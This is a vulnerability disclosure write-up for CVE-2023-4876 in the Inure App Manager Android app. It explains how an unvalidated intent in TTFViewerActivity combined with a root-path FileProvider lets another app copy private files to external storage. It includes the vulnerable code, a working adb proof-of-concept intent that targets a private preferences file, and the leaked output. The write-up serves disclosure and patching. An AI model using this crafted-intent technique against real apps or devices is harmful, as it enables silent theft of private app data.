CVE-2023-4876 — hamza417 · Inure App Manager

Theft of arbitrary files via lack of intent validation and insecure provider paths in TTFViewerActivity.kt.

While scanning Inure App Manager (Build89) with Oversecured, a “Theft of Arbitrary Files” finding appeared for TTFViewerActivity. The scanner flagged a combination of two weaknesses: TTFViewerActivity accepting intent data without validation, and an overly permissive FileProvider configuration that exposed the device’s root path. Together, these allowed a malicious app to copy any file from Inure’s private directory to external storage — no user interaction required.

Background

Android’s FileProvider allows apps to share files via content:// URIs. The paths it’s allowed to serve are declared in a provider_paths.xml file. If that file includes a <root-path> element, the provider maps the root of the filesystem (/) under the declared name — meaning any absolute path on the device becomes addressable via that provider. A URI like content://app.simple.inure.provider/root/data/data/app.simple.inure/shared_prefs/Preferences.xml resolves to /data/data/app.simple.inure/shared_prefs/Preferences.xml.

getExternalFilesDir() returns a path under /sdcard/Android/data/<package>/files/ — outside the app sandbox and readable by any other app holding READ_EXTERNAL_STORAGE.

Root Cause Analysis

The vulnerability is a chain of two problems.

Problem 1: No validation of intent.data in TTFViewerActivity

// TTFViewerActivity.kt
lifecycleScope.launch(Dispatchers.Default) {
    kotlin.runCatching {
        val typeFace = TTFHelper.getTTFFile(
            contentResolver.openInputStream(intent.data!!)!!,  // intent.data used directly, no validation
            applicationContext,
            DocumentFile.fromSingleUri(applicationContext, intent!!.data!!)!!.name!!
        )
        ...
    }
}

intent.data is forwarded directly to contentResolver.openInputStream() without checking its scheme or origin. The activity is exported (it handles VIEW intents for font/ttf), so any app on the device can fire it with an arbitrary URI.

Problem 2: Overly permissive provider_paths.xml

<?xml version="1.0" encoding="utf-8"?>
<paths>
    <external-path name="external" path="." />
    <external-files-path name="external_files" path="." />
    <cache-path name="cache" path="." />
    <external-cache-path name="external_cache" path="." />
    <files-path name="files" path="." />
    <!-- suppress AndroidElementNotAllowed -->
    <root-path name="root" path="." />  <!-- exposes the entire filesystem via this provider -->
</paths>

The <root-path name="root" path="." /> entry makes Inure’s own FileProvider serve any file on the device. A content:// URI using the root prefix can address /data/data/app.simple.inure/ — the app’s private directory.

The chain

A malicious app crafts a content:// URI targeting Inure’s own provider to address a file inside Inure’s private data directory. TTFViewerActivity opens the stream — the provider grants it because Inure is opening a URI from its own provider — and passes it to TTFHelper.getTTFFile():

// TTFHelper.kt
fun getTTFFile(inputStream: InputStream, context: Context, name: String): Typeface? {
    kotlin.runCatching {
        File(context.getExternalFilesDir(null)!!.path + "/font_cache/").mkdir()
        val file = File(context.getExternalFilesDir(null)?.path + "/font_cache/" + name)
        copyStreamToFile(inputStream, file)  // writes the stream to external storage
        return Typeface.createFromFile(file)
    }.getOrElse { it.printStackTrace() }
    return null
}

TTFHelper writes the stream to getExternalFilesDir("font_cache") — external storage, accessible to any app with READ_EXTERNAL_STORAGE. The private file is now exfiltrated.

Proof of Concept

Confirm the font_cache output directory is empty:

adb shell
angelica:/storage/emulated/0/Android/data/app.simple.inure/files/font_cache $ ls -la
total 6
drwxrwx--x 2 u0_a508 sdcard_rw 3488 2023-08-25 07:18 .
drwxrwx--x 4 u0_a508 sdcard_rw 3488 2023-08-24 22:30 ..

Send the malicious intent:

adb shell am start \
  -n app.simple.inure/.activities.association.TTFViewerActivity \
  -d "content://app.simple.inure.provider/root/data/data/app.simple.inure/shared_prefs/Preferences.xml" \
  -a "android.intent.action.VIEW" \
  -t "font/ttf"

Check the output directory after the activity opens:

angelica:/storage/emulated/0/Android/data/app.simple.inure/files/font_cache $ ls -la
total 10
drwxrwx--x 2 u0_a508 sdcard_rw 3488 2023-08-25 07:22 .
drwxrwx--x 4 u0_a508 sdcard_rw 3488 2023-08-24 22:30 ..
-rw-rw---- 1 u0_a508 sdcard_rw 771 2023-08-25 07:22 Preferences.xml

angelica:/storage/emulated/0/Android/data/app.simple.inure/files/font_cache $ cat Preferences.xml
<?xml version='1.0' encoding='utf-8' standalone='yes' ?>
<map>
  <boolean name="apk_external_storage" value="false" />
  <boolean name="is_external_storage" value="false" />
  <int name="app_accent_color" value="-29592" />
  <boolean name="dont_show_again" value="true" />
  <int name="main_app_launch_count" value="13" />
  <boolean name="is_custom_color" value="false" />
  <int name="view_positions" value="7" />
  <int name="notes_list_type" value="0" />
  <boolean name="disclaimer_agreed" value="true" />
  <string name="last_search_keyword"></string>
  <string name="home_path">/data/user/0/app.simple.inure/app_HOME</string>
  <long name="crash_timestamp" value="-1" />
  <boolean name="deep_search_keyword_mode" value="false" />
</map>

Preferences.xml — from Inure’s private /data/data/ directory — now sits in external storage, readable by any app with READ_EXTERNAL_STORAGE. Any file addressable via the provider can be substituted into the URI to exfiltrate databases, tokens, or other internal data.

Impact

A malicious application on the same device can silently exfiltrate any file from Inure’s private directory by sending a single crafted intent to TTFViewerActivity. No user interaction is required. The stolen file lands in external storage where the attacker can retrieve it at any time by swapping the path in the URI.

Patch Analysis

Fix commit 1f0d4d0. The correct mitigations are removing the <root-path> entry from provider_paths.xml (limiting the provider to only intended share paths) and validating intent.data in TTFViewerActivity to reject URIs outside expected schemes or paths.

Timeline

DateEvent
2023-08-24Discovered and reported on huntr
2023-08-29Fix submitted by maintainer
2023-09-10Scheduled public disclosure

References